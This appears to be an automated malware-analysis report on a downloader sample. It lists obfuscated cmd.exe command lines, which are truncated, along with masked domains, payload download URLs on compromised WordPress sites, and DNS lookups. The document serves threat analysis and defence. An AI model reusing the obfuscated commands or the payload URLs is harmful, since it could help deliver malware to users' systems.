Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c ^fOR , /f , " delims=Pf tokens= 1 " ; ; %^c , in , ( , ; ' , ; F^^TyPe , , ^| ; ^^fInDstr , ^^md^^f ' , , ) , ; ^do ; ; %^c; , ; tTKEjwWa^/V^3*NW^ , 7KxSdM/R " ; , (...
Network activity
Connects to
- 'si#####sheritage.com':80
- 'si#####sheritage.com':443
- 'cr#.#ectigo.com':80
- 'st###andina.cl':80
- 'we###te.vtoc.vn':80
TCP
HTTP GET requests
- http://si#####sheritage.com/backup3/wp-content/plugins/all-in-one-wp-migration/storage/uFb6zI7y
- http://cr#.#ectigo.com/SectigoRSADomainValidationSecureServerCA.crt
- http://we###te.vtoc.vn/nhahanglamduong/wp-content/uploads/j
Other
- 'si#####sheritage.com':443
UDP
- DNS ASK si#####sheritage.com
- DNS ASK cr#.#ectigo.com
- DNS ASK st###andina.cl
- DNS ASK sp##.##vertisetr.com
- DNS ASK fl###atus.com
- DNS ASK we###te.vtoc.vn
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c ^fOR , /f , " delims=Pf tokens= 1 " ; ; %^c , in , ( , ; ' , ; F^^TyPe , , ^| ; ^^fInDstr , ^^md^^f ' , , ) , ; ^do ; ; %^c; , ; tTKEjwWa^/V^3*NW^ , 7KxSdM/R " ; , (...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c F^TyPe | ^fInDstr ^md^f
- '<SYSTEM32>\cmd.exe' /S /D /c" FTyPe "
- '<SYSTEM32>\findstr.exe' mdf
- '<SYSTEM32>\cmd.exe' ; , ; tTKEjwWa/V3*NW , 7KxSdM/R " ; , (sE^t _\^`=m-M^)^ k+7n^2,^G^oWt$^yIq^jis@=.u^ez:^FBafg0S}{8w/^;5L'VdRbcpD^(ClhPZr3xN^6^\J^vQ)&& , ; F^O^r ; %^v , iN ; ; ( ^ +50 +1^2 ...
